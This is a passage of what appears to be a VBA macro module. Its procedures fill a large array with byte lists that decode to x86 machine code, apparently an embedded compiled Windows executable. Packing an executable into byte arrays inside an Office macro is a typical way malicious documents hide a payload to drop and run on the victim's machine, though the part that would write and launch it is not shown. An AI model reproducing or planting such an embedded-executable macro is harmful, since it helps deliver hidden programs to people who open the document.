    a(232) = Array(255, 95, 94, 91, 93, 195, 139, 255, 85, 139, 236, 139, 69, 8, 131, 248, 254, 117, 24, 232, 141, 174, 255, 255, 131, 32, 0, 232, 114, 174, 255, 255, 199, 0, 9, 0, 0, 0, 131, 200, 255, 93, 195, 133, 192, 120, 8, 59, 5, 104, 6, 65, 0, 114, 26, 232, 105, 174, 255, 255, 131, 32, 0, 232, 78, 174, 255, 255, 199, 0, 9, 0, 0, 0, 232, 5, 187, 255, 255, 235, 213, 139, 200, 193, 249, 5, 139, 12, 141, 128, 6, 65, 0, 131, 224, 31, 193, 224, 6, 246, 68, 8, 4, 1, 116, 205, 139, 4, 8, 93, 195, 106, 12, 104, 104, 208, 64, 0, 232, 245, 186, 255, 255, 139, 125, 8, 139, 199)
    a(233) = Array(193, 248, 5, 139, 247, 131, 230, 31, 193, 230, 6, 3, 52, 133, 128, 6, 65, 0, 199, 69, 228, 1, 0, 0, 0, 51, 219, 57, 94, 8, 117, 53, 106, 10, 232, 65, 230, 255, 255, 89, 137, 93, 252, 57, 94, 8, 117, 25, 104, 160, 15, 0, 0, 141, 70, 12, 80, 255, 21, 180, 176, 64, 0, 133, 192, 117, 3, 137, 93, 228, 255, 70, 8, 199, 69, 252, 254, 255, 255, 255, 232, 48, 0, 0, 0, 57, 93, 228, 116, 29, 139, 199, 193, 248, 5, 131, 231, 31, 193, 231, 6, 139, 4, 133, 128, 6, 65, 0, 141, 68, 56, 12, 80, 255, 21, 172, 176, 64, 0, 139, 69, 228, 232, 182, 186, 255, 255, 195)
    a(234) = Array(51, 219, 139, 125, 8, 106, 10, 232, 3, 229, 255, 255, 89, 195, 139, 255, 85, 139, 236, 139, 69, 8, 139, 200, 131, 224, 31, 193, 249, 5, 139, 12, 141, 128, 6, 65, 0, 193, 224, 6, 141, 68, 1, 12, 80, 255, 21, 176, 176, 64, 0, 93, 195, 106, 24, 104, 136, 208, 64, 0, 232, 47, 186, 255, 255, 131, 77, 228, 255, 51, 255, 137, 125, 220, 106, 11, 232, 213, 228, 255, 255, 89, 133, 192, 117, 8, 131, 200, 255, 233, 97, 1, 0, 0, 106, 11, 232, 131, 229, 255, 255, 89, 137, 125, 252, 137, 125, 216, 131, 255, 64, 15, 141, 59, 1, 0, 0, 139, 52, 189, 128, 6, 65, 0, 133, 246, 15, 132)
    a(235) = Array(185, 0, 0, 0, 137, 117, 224, 139, 4, 189, 128, 6, 65, 0, 5, 0, 8, 0, 0, 59, 240, 15, 131, 150, 0, 0, 0, 246, 70, 4, 1, 117, 91, 131, 126, 8, 0, 117, 56, 106, 10, 232, 58, 229, 255, 255, 89, 51, 219, 67, 137, 93, 252, 131, 126, 8, 0, 117, 27, 104, 160, 15, 0, 0, 141, 70, 12, 80, 255, 21, 180, 176, 64, 0, 133, 192, 117, 5, 137, 93, 220, 235, 3, 255, 70, 8, 131, 101, 252, 0, 232, 40, 0, 0, 0, 131, 125, 220, 0, 117, 23, 141, 94, 12, 83, 255, 21, 172, 176, 64, 0, 246, 70, 4, 1, 116, 27, 83, 255, 21, 176, 176, 64, 0, 131, 198, 64, 235)
    a(236) = Array(131, 139, 125, 216, 139, 117, 224, 106, 10, 232, 1, 228, 255, 255, 89, 195, 131, 125, 220, 0, 117, 230, 198, 70, 4, 1, 131, 14, 255, 43, 52, 189, 128, 6, 65, 0, 193, 254, 6, 139, 199, 193, 224, 5, 3, 240, 137, 117, 228, 131, 125, 228, 255, 117, 121, 71, 233, 44, 255, 255, 255, 106, 64, 106, 32, 232, 53, 238, 255, 255, 89, 89, 137, 69, 224, 133, 192, 116, 97, 141, 12, 189, 128, 6, 65, 0, 137, 1, 131, 5, 104, 6, 65, 0, 32, 139, 17, 129, 194, 0, 8, 0, 0, 59, 194, 115, 23, 198, 64, 4, 0, 131, 8, 255, 198, 64, 5, 10, 131, 96, 8, 0, 131, 192, 64, 137, 69, 224)
    a(237) = Array(235, 221, 193, 231, 5, 137, 125, 228, 139, 199, 193, 248, 5, 139, 207, 131, 225, 31, 193, 225, 6, 139, 4, 133, 128, 6, 65, 0, 198, 68, 8, 4, 1, 87, 232, 200, 253, 255, 255, 89, 133, 192, 117, 4, 131, 77, 228, 255, 199, 69, 252, 254, 255, 255, 255, 232, 9, 0, 0, 0, 139, 69, 228, 232, 241, 184, 255, 255, 195, 106, 11, 232, 67, 227, 255, 255, 89, 195, 102, 15, 239, 192, 81, 83, 139, 193, 131, 224, 15, 133, 192, 117, 127, 139, 194, 131, 226, 127, 193, 232, 7, 116, 55, 141, 164, 36, 0, 0, 0, 0, 102, 15, 127, 1, 102, 15, 127, 65, 16, 102, 15, 127, 65, 32, 102, 15, 127, 65)
    a(238) = Array(48, 102, 15, 127, 65, 64, 102, 15, 127, 65, 80, 102, 15, 127, 65, 96, 102, 15, 127, 65, 112, 141, 137, 128, 0, 0, 0, 72, 117, 208, 133, 210, 116, 55, 139, 194, 193, 232, 4, 116, 15, 235, 3, 141, 73, 0, 102, 15, 127, 1, 141, 73, 16, 72, 117, 246, 131, 226, 15, 116, 28, 139, 194, 51, 219, 193, 234, 2, 116, 8, 137, 25, 141, 73, 4, 74, 117, 248, 131, 224, 3, 116, 6, 136, 25, 65, 72, 117, 250, 91, 88, 195, 139, 216, 247, 219, 131, 195, 16, 43, 211, 51, 192, 82, 139, 211, 131, 226, 3, 116, 6, 136, 1, 65, 74, 117, 250, 193, 235, 2, 116, 8, 137, 1, 141, 73, 4, 75)
    a(239) = Array(117, 248, 90, 233, 85, 255, 255, 255, 106, 10, 255, 21, 36, 177, 64, 0, 163, 96, 6, 65, 0, 51, 192, 195, 139, 255, 85, 139, 236, 139, 69, 8, 131, 248, 254, 117, 15, 232, 232, 170, 255, 255, 199, 0, 9, 0, 0, 0, 51, 192, 93, 195, 133, 192, 120, 8, 59, 5, 104, 6, 65, 0, 114, 18, 232, 205, 170, 255, 255, 199, 0, 9, 0, 0, 0, 232, 132, 183, 255, 255, 235, 222, 139, 200, 131, 224, 31, 193, 249, 5, 139, 12, 141, 128, 6, 65, 0, 193, 224, 6, 15, 190, 68, 1, 4, 131, 224, 64, 93, 195, 139, 255, 85, 139, 236, 81, 131, 61, 28, 238, 64, 0, 254, 117, 5, 232, 206, 18)
    a(240) = Array(0, 0, 161, 28, 238, 64, 0, 131, 248, 255, 117, 7, 184, 255, 255, 0, 0, 201, 195, 106, 0, 141, 77, 252, 81, 106, 1, 141, 77, 8, 81, 80, 255, 21, 40, 177, 64, 0, 133, 192, 116, 226, 102, 139, 69, 8, 201, 195, 139, 255, 85, 139, 236, 131, 236, 16, 83, 86, 139, 117, 12, 51, 219, 59, 243, 116, 21, 57, 93, 16, 116, 16, 56, 30, 117, 18, 139, 69, 8, 59, 195, 116, 5, 51, 201, 102, 137, 8, 51, 192, 94, 91, 201, 195, 255, 117, 20, 141, 77, 240, 232, 97, 245, 255, 255, 139, 69, 240, 57, 88, 20, 117, 30, 139, 69, 8, 59, 195, 116, 6, 15, 182, 14, 102, 137, 8, 56, 93)
End Sub

Private Sub Init8()
    a(241) = Array(252, 116, 7, 139, 69, 248, 131, 96, 112, 253, 51, 192, 64, 235, 203, 141, 69, 240, 80, 15, 182, 6, 80, 232, 196, 0, 0, 0, 89, 89, 133, 192, 116, 125, 139, 69, 240, 139, 136, 172, 0, 0, 0, 131, 249, 1, 126, 37, 57, 77, 16, 124, 32, 51, 210, 57, 93, 8, 15, 149, 194, 82, 255, 117, 8, 81, 86, 106, 9, 255, 112, 4, 255, 21, 188, 176, 64, 0, 133, 192, 139, 69, 240, 117, 16, 139, 77, 16, 59, 136, 172, 0, 0, 0, 114, 32, 56, 94, 1, 116, 27, 139, 128, 172, 0, 0, 0, 56, 93, 252, 15, 132, 102, 255, 255, 255, 139, 77, 248, 131, 97, 112, 253, 233, 90, 255, 255, 255)
    a(242) = Array(232, 141, 169, 255, 255, 199, 0, 42, 0, 0, 0, 56, 93, 252, 116, 7, 139, 69, 248, 131, 96, 112, 253, 131, 200, 255, 233, 59, 255, 255, 255, 51, 192, 57, 93, 8, 15, 149, 192, 80, 255, 117, 8, 139, 69, 240, 106, 1, 86, 106, 9, 255, 112, 4, 255, 21, 188, 176, 64, 0, 133, 192, 15, 133, 58, 255, 255, 255, 235, 186, 139, 255, 85, 139, 236, 106, 0, 255, 117, 16, 255, 117, 12, 255, 117, 8, 232, 213, 254, 255, 255, 131, 196, 16, 93, 195, 139, 255, 85, 139, 236, 131, 236, 16, 255, 117, 12, 141, 77, 240, 232, 87, 244, 255, 255, 15, 182, 69, 8, 139, 77, 240, 139, 137, 200, 0, 0, 0)
    a(243) = Array(15, 183, 4, 65, 37, 0, 128, 0, 0, 128, 125, 252, 0, 116, 7, 139, 77, 248, 131, 97, 112, 253, 201, 195, 139, 255, 85, 139, 236, 106, 0, 255, 117, 8, 232, 185, 255, 255, 255, 89, 89, 93, 195, 204, 204, 204, 204, 204, 81, 141, 76, 36, 4, 43, 200, 27, 192, 247, 208, 35, 200, 139, 196, 37, 0, 240, 255, 255, 59, 200, 114, 10, 139, 193, 89, 148, 139, 0, 137, 4, 36, 195, 45, 0, 16, 0, 0, 133, 0, 235, 233, 106, 16, 104, 176, 208, 64, 0, 232, 137, 181, 255, 255, 139, 93, 8, 131, 251, 254, 117, 19, 232, 158, 168, 255, 255, 199, 0, 9, 0, 0, 0, 131, 200, 255, 233, 161, 0)
    a(244) = Array(0, 0, 133, 219, 120, 8, 59, 29, 104, 6, 65, 0, 114, 18, 232, 127, 168, 255, 255, 199, 0, 9, 0, 0, 0, 232, 54, 181, 255, 255, 235, 218, 139, 195, 193, 248, 5, 141, 60, 133, 128, 6, 65, 0, 139, 243, 131, 230, 31, 193, 230, 6, 139, 7, 15, 190, 68, 6, 4, 131, 224, 1, 116, 206, 83, 232, 41, 250, 255, 255, 89, 131, 101, 252, 0, 139, 7, 246, 68, 6, 4, 1, 116, 49, 83, 232, 172, 249, 255, 255, 89, 80, 255, 21, 84, 176, 64, 0, 133, 192, 117, 11, 255, 21, 16, 176, 64, 0, 137, 69, 228, 235, 4, 131, 101, 228, 0, 131, 125, 228, 0, 116, 25, 232, 37, 168, 255, 255)
    a(245) = Array(139, 77, 228, 137, 8, 232, 8, 168, 255, 255, 199, 0, 9, 0, 0, 0, 131, 77, 228, 255, 199, 69, 252, 254, 255, 255, 255, 232, 12, 0, 0, 0, 139, 69, 228, 232, 13, 181, 255, 255, 195, 139, 93, 8, 83, 232, 92, 250, 255, 255, 89, 195, 87, 139, 198, 131, 224, 15, 133, 192, 15, 133, 193, 0, 0, 0, 139, 209, 131, 225, 127, 193, 234, 7, 116, 101, 235, 6, 141, 155, 0, 0, 0, 0, 102, 15, 111, 6, 102, 15, 111, 78, 16, 102, 15, 111, 86, 32, 102, 15, 111, 94, 48, 102, 15, 127, 7, 102, 15, 127, 79, 16, 102, 15, 127, 87, 32, 102, 15, 127, 95, 48, 102, 15, 111, 102, 64, 102)
    a(246) = Array(15, 111, 110, 80, 102, 15, 111, 118, 96, 102, 15, 111, 126, 112, 102, 15, 127, 103, 64, 102, 15, 127, 111, 80, 102, 15, 127, 119, 96, 102, 15, 127, 127, 112, 141, 182, 128, 0, 0, 0, 141, 191, 128, 0, 0, 0, 74, 117, 163, 133, 201, 116, 73, 139, 209, 193, 234, 4, 133, 210, 116, 23, 141, 155, 0, 0, 0, 0, 102, 15, 111, 6, 102, 15, 127, 7, 141, 118, 16, 141, 127, 16, 74, 117, 239, 131, 225, 15, 116, 36, 139, 193, 193, 233, 2, 116, 13, 139, 22, 137, 23, 141, 118, 4, 141, 127, 4, 73, 117, 243, 139, 200, 131, 225, 3, 116, 9, 138, 6, 136, 7, 70, 71, 73, 117, 247, 88, 94)
    a(247) = Array(95, 93, 195, 186, 16, 0, 0, 0, 43, 208, 43, 202, 81, 139, 194, 139, 200, 131, 225, 3, 116, 9, 138, 22, 136, 23, 70, 71, 73, 117, 247, 193, 232, 2, 116, 13, 139, 22, 137, 23, 141, 118, 4, 141, 127, 4, 72, 117, 243, 89, 233, 11, 255, 255, 255, 139, 255, 85, 139, 236, 83, 86, 139, 53, 248, 176, 64, 0, 87, 139, 125, 8, 87, 255, 214, 139, 135, 176, 0, 0, 0, 133, 192, 116, 3, 80, 255, 214, 139, 135, 184, 0, 0, 0, 133, 192, 116, 3, 80, 255, 214, 139, 135, 180, 0, 0, 0, 133, 192, 116, 3, 80, 255, 214, 139, 135, 192, 0, 0, 0, 133, 192, 116, 3, 80, 255, 214, 141)
    a(248) = Array(95, 80, 199, 69, 8, 6, 0, 0, 0, 129, 123, 248, 160, 230, 64, 0, 116, 9, 139, 3, 133, 192, 116, 3, 80, 255, 214, 131, 123, 252, 0, 116, 10, 139, 67, 4, 133, 192, 116, 3, 80, 255, 214, 131, 195, 16, 255, 77, 8, 117, 214, 139, 135, 212, 0, 0, 0, 5, 180, 0, 0, 0, 80, 255, 214, 95, 94, 91, 93, 195, 139, 255, 85, 139, 236, 87, 139, 125, 8, 133, 255, 15, 132, 131, 0, 0, 0, 83, 86, 139, 53, 4, 177, 64, 0, 87, 255, 214, 139, 135, 176, 0, 0, 0, 133, 192, 116, 3, 80, 255, 214, 139, 135, 184, 0, 0, 0, 133, 192, 116, 3, 80, 255, 214, 139, 135, 180, 0)
    a(249) = Array(0, 0, 133, 192, 116, 3, 80, 255, 214, 139, 135, 192, 0, 0, 0, 133, 192, 116, 3, 80, 255, 214, 141, 95, 80, 199, 69, 8, 6, 0, 0, 0, 129, 123, 248, 160, 230, 64, 0, 116, 9, 139, 3, 133, 192, 116, 3, 80, 255, 214, 131, 123, 252, 0, 116, 10, 139, 67, 4, 133, 192, 116, 3, 80, 255, 214, 131, 195, 16, 255, 77, 8, 117, 214, 139, 135, 212, 0, 0, 0, 5, 180, 0, 0, 0, 80, 255, 214, 94, 91, 139, 199, 95, 93, 195, 139, 255, 85, 139, 236, 83, 86, 139, 117, 8, 139, 134, 188, 0, 0, 0, 51, 219, 87, 59, 195, 116, 111, 61, 40, 238, 64, 0, 116, 104, 139, 134, 176)
    a(250) = Array(0, 0, 0, 59, 195, 116, 94, 57, 24, 117, 90, 139, 134, 184, 0, 0, 0, 59, 195, 116, 23, 57, 24, 117, 19, 80, 232, 208, 152, 255, 255, 255, 182, 188, 0, 0, 0, 232, 17, 18, 0, 0, 89, 89, 139, 134, 180, 0, 0, 0, 59, 195, 116, 23, 57, 24, 117, 19, 80, 232, 175, 152, 255, 255, 255, 182, 188, 0, 0, 0, 232, 135, 17, 0, 0, 89, 89, 255, 182, 176, 0, 0, 0, 232, 151, 152, 255, 255, 255, 182, 188, 0, 0, 0, 232, 140, 152, 255, 255, 89, 89, 139, 134, 192, 0, 0, 0, 59, 195, 116, 68, 57, 24, 117, 64, 139, 134, 196, 0, 0, 0, 45, 254, 0, 0, 0, 80, 232)
    a(251) = Array(107, 152, 255, 255, 139, 134, 204, 0, 0, 0, 191, 128, 0, 0, 0, 43, 199, 80, 232, 88, 152, 255, 255, 139, 134, 208, 0, 0, 0, 43, 199, 80, 232, 74, 152, 255, 255, 255, 182, 192, 0, 0, 0, 232, 63, 152, 255, 255, 131, 196, 16, 139, 134, 212, 0, 0, 0, 61, 168, 230, 64, 0, 116, 27, 57, 152, 180, 0, 0, 0, 117, 19, 80, 232, 141, 13, 0, 0, 255, 182, 212, 0, 0, 0, 232, 22, 152, 255, 255, 89, 89, 141, 126, 80, 199, 69, 8, 6, 0, 0, 0, 129, 127, 248, 160, 230, 64, 0, 116, 17, 139, 7, 59, 195, 116, 11, 57, 24, 117, 7, 80, 232, 241, 151, 255, 255, 89, 57)
    a(252) = Array(95, 252, 116, 18, 139, 71, 4, 59, 195, 116, 11, 57, 24, 117, 7, 80, 232, 218, 151, 255, 255, 89, 131, 199, 16, 255, 77, 8, 117, 199, 86, 232, 203, 151, 255, 255, 89, 95, 94, 91, 93, 195, 139, 255, 85, 139, 236, 87, 139, 125, 12, 133, 255, 116, 59, 139, 69, 8, 133, 192, 116, 52, 86, 139, 48, 59, 247, 116, 40, 87, 137, 56, 232, 106, 253, 255, 255, 89, 133, 246, 116, 27, 86, 232, 238, 253, 255, 255, 131, 62, 0, 89, 117, 15, 129, 254, 16, 232, 64, 0, 116, 7, 86, 232, 115, 254, 255, 255, 89, 139, 199, 94, 235, 2, 51, 192, 95, 93, 195, 106, 12, 104, 208, 208, 64, 0, 232, 237)
    a(253) = Array(176, 255, 255, 232, 127, 215, 255, 255, 139, 240, 161, 20, 238, 64, 0, 133, 70, 112, 116, 34, 131, 126, 108, 0, 116, 28, 232, 104, 215, 255, 255, 139, 112, 108, 133, 246, 117, 8, 106, 32, 232, 25, 167, 255, 255, 89, 139, 198, 232, 0, 177, 255, 255, 195, 106, 12, 232, 43, 220, 255, 255, 89, 131, 101, 252, 0, 255, 53, 232, 232, 64, 0, 131, 198, 108, 86, 232, 89, 255, 255, 255, 89, 89, 137, 69, 228, 199, 69, 252, 254, 255, 255, 255, 232, 2, 0, 0, 0, 235, 190, 106, 12, 232, 36, 219, 255, 255, 89, 139, 117, 228, 195, 45, 164, 3, 0, 0, 116, 34, 131, 232, 4, 116, 23, 131, 232, 13, 116)
    a(254) = Array(12, 72, 116, 3, 51, 192, 195, 184, 4, 4, 0, 0, 195, 184, 18, 4, 0, 0, 195, 184, 4, 8, 0, 0, 195, 184, 17, 4, 0, 0, 195, 139, 255, 86, 87, 139, 240, 104, 1, 1, 0, 0, 51, 255, 141, 70, 28, 87, 80, 232, 234, 187, 255, 255, 51, 192, 15, 183, 200, 139, 193, 137, 126, 4, 137, 126, 8, 137, 126, 12, 193, 225, 16, 11, 193, 141, 126, 16, 171, 171, 171, 185, 240, 232, 64, 0, 131, 196, 12, 141, 70, 28, 43, 206, 191, 1, 1, 0, 0, 138, 20, 1, 136, 16, 64, 79, 117, 247, 141, 134, 29, 1, 0, 0, 190, 0, 1, 0, 0, 138, 20, 8, 136, 16, 64, 78, 117, 247)
    a(255) = Array(95, 94, 195, 139, 255, 85, 139, 236, 129, 236, 28, 5, 0, 0, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 83, 87, 141, 133, 232, 250, 255, 255, 80, 255, 118, 4, 255, 21, 80, 176, 64, 0, 191, 0, 1, 0, 0, 133, 192, 15, 132, 252, 0, 0, 0, 51, 192, 136, 132, 5, 252, 254, 255, 255, 64, 59, 199, 114, 244, 138, 133, 238, 250, 255, 255, 198, 133, 252, 254, 255, 255, 32, 132, 192, 116, 48, 141, 157, 239, 250, 255, 255, 15, 182, 200, 15, 182, 3, 59, 200, 119, 22, 43, 193, 64, 80, 141, 148, 13, 252, 254, 255, 255, 106, 32, 82, 232, 39, 187, 255, 255, 131, 196, 12, 138, 67, 1, 131)
    a(256) = Array(195, 2, 132, 192, 117, 214, 106, 0, 255, 118, 12, 141, 133, 252, 250, 255, 255, 255, 118, 4, 80, 87, 141, 133, 252, 254, 255, 255, 80, 106, 1, 106, 0, 232, 39, 19, 0, 0, 51, 219, 83, 255, 118, 4, 141, 133, 252, 253, 255, 255, 87, 80, 87, 141, 133, 252, 254, 255, 255, 80, 87, 255, 118, 12, 83, 232, 218, 17, 0, 0, 131, 196, 68, 83, 255, 118, 4, 141, 133, 252, 252, 255, 255, 87, 80, 87, 141, 133, 252, 254, 255, 255, 80, 104, 0, 2, 0, 0, 255, 118, 12, 83, 232, 181, 17, 0, 0, 131, 196, 36, 51, 192, 15, 183, 140, 69, 252, 250, 255, 255, 246, 193, 1, 116, 14, 128, 76, 6)
    a(257) = Array(29, 16, 138, 140, 5, 252, 253, 255, 255, 235, 17, 246, 193, 2, 116, 21, 128, 76, 6, 29, 32, 138, 140, 5, 252, 252, 255, 255, 136, 140, 6, 29, 1, 0, 0, 235, 7, 136, 156, 6, 29, 1, 0, 0, 64, 59, 199, 114, 191, 235, 82, 141, 134, 29, 1, 0, 0, 199, 133, 228, 250, 255, 255, 159, 255, 255, 255, 51, 201, 41, 133, 228, 250, 255, 255, 139, 149, 228, 250, 255, 255, 141, 132, 14, 29, 1, 0, 0, 3, 208, 141, 90, 32, 131, 251, 25, 119, 10, 128, 76, 14, 29, 16, 141, 81, 32, 235, 13, 131, 250, 25, 119, 12, 128, 76, 14, 29, 32, 141, 81, 224, 136, 16, 235, 3, 198, 0, 0)
    a(258) = Array(65, 59, 207, 114, 198, 139, 77, 252, 95, 51, 205, 91, 232, 207, 148, 255, 255, 201, 195, 106, 12, 104, 240, 208, 64, 0, 232, 81, 174, 255, 255, 232, 227, 212, 255, 255, 139, 248, 161, 20, 238, 64, 0, 133, 71, 112, 116, 29, 131, 127, 108, 0, 116, 23, 139, 119, 104, 133, 246, 117, 8, 106, 32, 232, 130, 164, 255, 255, 89, 139, 198, 232, 105, 174, 255, 255, 195, 106, 13, 232, 148, 217, 255, 255, 89, 131, 101, 252, 0, 139, 119, 104, 137, 117, 228, 59, 53, 24, 237, 64, 0, 116, 54, 133, 246, 116, 26, 86, 255, 21, 4, 177, 64, 0, 133, 192, 117, 15, 129, 254, 240, 232, 64, 0, 116, 7, 86, 232)
    a(259) = Array(107, 148, 255, 255, 89, 161, 24, 237, 64, 0, 137, 71, 104, 139, 53, 24, 237, 64, 0, 137, 117, 228, 86, 255, 21, 248, 176, 64, 0, 199, 69, 252, 254, 255, 255, 255, 232, 5, 0, 0, 0, 235, 142, 139, 117, 228, 106, 13, 232, 90, 216, 255, 255, 89, 195, 139, 255, 85, 139, 236, 131, 236, 16, 83, 51, 219, 83, 141, 77, 240, 232, 255, 235, 255, 255, 137, 29, 52, 6, 65, 0, 131, 254, 254, 117, 30, 199, 5, 52, 6, 65, 0, 1, 0, 0, 0, 255, 21, 72, 176, 64, 0, 56, 93, 252, 116, 69, 139, 77, 248, 131, 97, 112, 253, 235, 60, 131, 254, 253, 117, 18, 199, 5, 52, 6, 65, 0, 1)
    a(260) = Array(0, 0, 0, 255, 21, 76, 176, 64, 0, 235, 219, 131, 254, 252, 117, 18, 139, 69, 240, 139, 64, 4, 199, 5, 52, 6, 65, 0, 1, 0, 0, 0, 235, 196, 56, 93, 252, 116, 7, 139, 69, 248, 131, 96, 112, 253, 139, 198, 91, 201, 195, 139, 255, 85, 139, 236, 131, 236, 32, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 83, 139, 93, 12, 86, 139, 117, 8, 87, 232, 100, 255, 255, 255, 139, 248, 51, 246, 137, 125, 8, 59, 254, 117, 14, 139, 195, 232, 186, 252, 255, 255, 51, 192, 233, 161, 1, 0, 0, 137, 117, 228, 51, 192, 57, 184, 32, 237, 64, 0, 15, 132, 145, 0, 0, 0, 255, 69, 228)
    a(261) = Array(131, 192, 48, 61, 240, 0, 0, 0, 114, 231, 129, 255, 232, 253, 0, 0, 15, 132, 116, 1, 0, 0, 129, 255, 233, 253, 0, 0, 15, 132, 104, 1, 0, 0, 15, 183, 199, 80, 255, 21, 68, 176, 64, 0, 133, 192, 15, 132, 86, 1, 0, 0, 141, 69, 232, 80, 87, 255, 21, 80, 176, 64, 0, 133, 192, 15, 132, 55, 1, 0, 0, 104, 1, 1, 0, 0, 141, 67, 28, 86, 80, 232, 74, 184, 255, 255, 51, 210, 66, 131, 196, 12, 137, 123, 4, 137, 115, 12, 57, 85, 232, 15, 134, 252, 0, 0, 0, 128, 125, 238, 0, 15, 132, 211, 0, 0, 0, 141, 117, 239, 138, 14, 132, 201, 15, 132, 198, 0)
    a(262) = Array(0, 0, 15, 182, 70, 255, 15, 182, 201, 233, 169, 0, 0, 0, 104, 1, 1, 0, 0, 141, 67, 28, 86, 80, 232, 3, 184, 255, 255, 139, 77, 228, 131, 196, 12, 107, 201, 48, 137, 117, 224, 141, 177, 48, 237, 64, 0, 137, 117, 228, 235, 43, 138, 70, 1, 132, 192, 116, 41, 15, 182, 62, 15, 182, 192, 235, 18, 139, 69, 224, 138, 128, 28, 237, 64, 0, 8, 68, 59, 29, 15, 182, 70, 1, 71, 59, 248, 118, 234, 139, 125, 8, 131, 198, 2, 128, 62, 0, 117, 208, 139, 117, 228, 255, 69, 224, 131, 198, 8, 131, 125, 224, 4, 137, 117, 228, 114, 233, 139, 199, 137, 123, 4, 199, 67, 8, 1, 0)
    a(263) = Array(0, 0, 232, 105, 251, 255, 255, 106, 6, 137, 67, 12, 141, 67, 16, 141, 137, 36, 237, 64, 0, 90, 102, 139, 49, 102, 137, 48, 131, 193, 2, 131, 192, 2, 74, 117, 241, 139, 243, 232, 215, 251, 255, 255, 233, 180, 254, 255, 255, 128, 76, 3, 29, 4, 64, 59, 193, 118, 246, 131, 198, 2, 128, 126, 255, 0, 15, 133, 48, 255, 255, 255, 141, 67, 30, 185, 254, 0, 0, 0, 128, 8, 8, 64, 73, 117, 249, 139, 67, 4, 232, 17, 251, 255, 255, 137, 67, 12, 137, 83, 8, 235, 3, 137, 115, 8, 51, 192, 15, 183, 200, 139, 193, 193, 225, 16, 11, 193, 141, 123, 16, 171, 171, 171, 235, 167, 57, 53)
    a(264) = Array(52, 6, 65, 0, 15, 133, 84, 254, 255, 255, 131, 200, 255, 139, 77, 252, 95, 94, 51, 205, 91, 232, 198, 145, 255, 255, 201, 195, 106, 20, 104, 16, 209, 64, 0, 232, 72, 171, 255, 255, 131, 77, 224, 255, 232, 214, 209, 255, 255, 139, 248, 137, 125, 220, 232, 216, 252, 255, 255, 139, 95, 104, 139, 117, 8, 232, 113, 253, 255, 255, 137, 69, 8, 59, 67, 4, 15, 132, 87, 1, 0, 0, 104, 32, 2, 0, 0, 232, 218, 223, 255, 255, 89, 139, 216, 133, 219, 15, 132, 70, 1, 0, 0, 185, 136, 0, 0, 0, 139, 119, 104, 139, 251, 243, 165, 131, 35, 0, 83, 255, 117, 8, 232, 180, 253, 255, 255, 89)
    a(265) = Array(89, 137, 69, 224, 133, 192, 15, 133, 252, 0, 0, 0, 139, 117, 220, 255, 118, 104, 255, 21, 4, 177, 64, 0, 133, 192, 117, 17, 139, 70, 104, 61, 240, 232, 64, 0, 116, 7, 80, 232, 67, 145, 255, 255, 89, 137, 94, 104, 83, 139, 61, 248, 176, 64, 0, 255, 215, 246, 70, 112, 2, 15, 133, 234, 0, 0, 0, 246, 5, 20, 238, 64, 0, 1, 15, 133, 221, 0, 0, 0, 106, 13, 232, 17, 214, 255, 255, 89, 131, 101, 252, 0, 139, 67, 4, 163, 68, 6, 65, 0, 139, 67, 8, 163, 72, 6, 65, 0, 139, 67, 12, 163, 76, 6, 65, 0, 51, 192, 137, 69, 228, 131, 248, 5, 125, 16, 102, 139)
    a(266) = Array(76, 67, 16, 102, 137, 12, 69, 56, 6, 65, 0, 64, 235, 232, 51, 192, 137, 69, 228, 61, 1, 1, 0, 0, 125, 13, 138, 76, 24, 28, 136, 136, 16, 235, 64, 0, 64, 235, 233, 51, 192, 137, 69, 228, 61, 0, 1, 0, 0, 125, 16, 138, 140, 24, 29, 1, 0, 0, 136, 136, 24, 236, 64, 0, 64, 235, 230, 255, 53, 24, 237, 64, 0, 255, 21, 4, 177, 64, 0, 133, 192, 117, 19, 161, 24, 237, 64, 0, 61, 240, 232, 64, 0, 116, 7, 80, 232, 138, 144, 255, 255, 89, 137, 29, 24, 237, 64, 0, 83, 255, 215, 199, 69, 252, 254, 255, 255, 255, 232, 2, 0, 0, 0, 235, 48, 106, 13, 232)
    a(267) = Array(139, 212, 255, 255, 89, 195, 235, 37, 131, 248, 255, 117, 32, 129, 251, 240, 232, 64, 0, 116, 7, 83, 232, 84, 144, 255, 255, 89, 232, 241, 156, 255, 255, 199, 0, 22, 0, 0, 0, 235, 4, 131, 101, 224, 0, 139, 69, 224, 232, 0, 170, 255, 255, 195, 131, 61, 176, 23, 65, 0, 0, 117, 18, 106, 253, 232, 86, 254, 255, 255, 89, 199, 5, 176, 23, 65, 0, 1, 0, 0, 0, 51, 192, 195, 232, 225, 213, 255, 255, 133, 192, 116, 8, 106, 22, 232, 227, 213, 255, 255, 89, 246, 5, 16, 238, 64, 0, 2, 116, 17, 106, 1, 104, 21, 0, 0, 64, 106, 3, 232, 221, 167, 255, 255, 131, 196, 12, 106)
    a(268) = Array(3, 232, 140, 159, 255, 255, 204, 139, 255, 85, 139, 236, 139, 69, 8, 133, 192, 116, 18, 131, 232, 8, 129, 56, 221, 221, 0, 0, 117, 7, 80, 232, 203, 143, 255, 255, 89, 93, 195, 139, 255, 85, 139, 236, 131, 125, 8, 0, 117, 21, 232, 91, 156, 255, 255, 199, 0, 22, 0, 0, 0, 232, 18, 169, 255, 255, 131, 200, 255, 93, 195, 255, 117, 8, 106, 0, 255, 53, 20, 252, 64, 0, 255, 21, 64, 176, 64, 0, 93, 195, 106, 2, 232, 101, 159, 255, 255, 89, 195, 139, 255, 85, 139, 236, 139, 77, 8, 133, 201, 116, 27, 106, 224, 51, 210, 88, 247, 241, 59, 69, 12, 115, 15, 232, 18, 156, 255, 255)
    a(269) = Array(199, 0, 12, 0, 0, 0, 51, 192, 93, 195, 15, 175, 77, 12, 86, 139, 241, 133, 246, 117, 1, 70, 51, 192, 131, 254, 224, 119, 19, 86, 106, 8, 255, 53, 20, 252, 64, 0, 255, 21, 100, 176, 64, 0, 133, 192, 117, 50, 131, 61, 124, 2, 65, 0, 0, 116, 28, 86, 232, 66, 161, 255, 255, 89, 133, 192, 117, 210, 139, 69, 16, 133, 192, 116, 6, 199, 0, 12, 0, 0, 0, 51, 192, 235, 13, 139, 77, 16, 133, 201, 116, 6, 199, 1, 12, 0, 0, 0, 94, 93, 195, 139, 255, 85, 139, 236, 131, 125, 8, 0, 117, 11, 255, 117, 12, 232, 49, 143, 255, 255, 89, 93, 195, 86, 139, 117, 12, 133)
